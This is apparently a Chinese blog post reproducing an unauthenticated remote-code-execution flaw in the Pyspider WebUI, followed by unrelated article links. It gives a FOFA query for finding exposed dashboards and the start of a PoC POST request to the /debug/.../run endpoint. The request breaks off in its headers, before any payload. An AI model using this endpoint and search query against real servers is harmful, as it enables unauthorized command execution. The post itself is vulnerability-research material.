当前位置: 首页 > news >正文

Pyspider WebUI 未授权访问致远程代码执行漏洞复现

0x01 产品简介

Pyspider是由国人binux编写的强大的网络爬虫系统,它带有强大的WebUI(Web用户界面),为用户提供了可视化的编写、调试和管理爬虫的能力。这一特点使得Pyspider在爬虫框架中脱颖而出,尤其适合那些希望快速上手并高效开发爬虫的用户。允许用户直接在网页上编写和调试爬虫代码,无需使用传统的代码编辑器和命令行工具,极大地提高了开发效率。用户可以通过WebUI界面实时监控爬虫的爬取进度、查看爬取结果,并对爬虫项目进行管理。

0x02 漏洞概述

由于Pyspider WebUI未进行合理的访问控制,默认允许远程攻击者未授权访问webui界面,且系统内部存在python脚本在线编辑并运行的模块,导致未经身份验证的攻击者可远程执行python代码调用系统命令来获取服务器权限。

0x03 复现环境

FOFA:title="Dashboard - pyspider"

0x04 漏洞复现

PoC

POST /debug/任意实例名/run HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:125.0) Gecko/20100101 Firefox/125.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,z

相关文章:

  • 北京网站建设多少钱?
  • 辽宁网页制作哪家好_网站建设
  • 高端品牌网站建设_汉中网站制作
  • 深入剖析预处理
  • 【LabVIEW学习篇 - 5】:数据类型——数值、字符串
  • RockYou2024 发布史上最大密码凭证
  • cs也能上线liunx马??你会吗???解决木马生成的操作。
  • 化工厂人员定位系统有怎样优势?
  • Zynq系列FPGA实现SDI视频编解码+UDP以太网传输,基于GTX高速接口,提供3套工程源码和技术支持
  • java花店管理系统eclipse开发mysql数据库
  • 【java12】Collectors和Completionstage的新API
  • 揭秘“消费即赚”的循环购模式
  • [matlab]周期性信号分析
  • Spring AOP - 自定义注解实现共性需求
  • 【C++】开源:地图投影和坐标转换proj库配置使用
  • qt 自定义信号和槽举例
  • Spring的AOP进阶。(AOP的通知类型、通知顺序、切入点表达式和连接点。)
  • 数据绑定注解功能
  • 【从零开始安装kubernetes-1.7.3】2.flannel、docker以及Harbor的配置以及作用
  • C++11: atomic 头文件
  • Computed property XXX was assigned to but it has no setter
  • export和import的用法总结
  • JS笔记四:作用域、变量(函数)提升
  • miaov-React 最佳入门
  • React Transition Group -- Transition 组件
  • 类orAPI - 收藏集 - 掘金
  • 你不可错过的前端面试题(一)
  • 扫描识别控件Dynamic Web TWAIN v12.2发布,改进SSL证书
  • 一个JAVA程序员成长之路分享
  • 主流的CSS水平和垂直居中技术大全
  • 大数据全解:定义、价值及挑战
  • 回归生活:清理微信公众号
  • #pragma预处理命令
  • #图像处理
  • (2)从源码角度聊聊Jetpack Navigator的工作流程
  • (八)五种元启发算法(DBO、LO、SWO、COA、LSO、KOA、GRO)求解无人机路径规划MATLAB
  • (二十三)Flask之高频面试点
  • (附源码)springboot宠物管理系统 毕业设计 121654
  • (三分钟了解debug)SLAM研究方向-Debug总结
  • (一)项目实践-利用Appdesigner制作目标跟踪仿真软件
  • (原)本想说脏话,奈何已放下
  • (转)机器学习的数学基础(1)--Dirichlet分布
  • (自用)learnOpenGL学习总结-高级OpenGL-抗锯齿
  • **PHP分步表单提交思路(分页表单提交)
  • .net 7 上传文件踩坑
  • .net core IResultFilter 的 OnResultExecuted和OnResultExecuting的区别
  • .NET Core WebAPI中使用swagger版本控制,添加注释
  • .net core 连接数据库,通过数据库生成Modell
  • .net 受管制代码
  • //解决validator验证插件多个name相同只验证第一的问题
  • @Not - Empty-Null-Blank
  • @RequestParam,@RequestBody和@PathVariable 区别
  • @Responsebody与@RequestBody
  • @staticmethod和@classmethod的作用与区别
  • @Transactional注解下,循环取序列的值,但得到的值都相同的问题
  • [ C++ ] STL_stack(栈)queue(队列)使用及其重要接口模拟实现
  • [ solr入门 ] - 利用solrJ进行检索
  • [000-01-022].第06节:RabbitMQ中的交换机介绍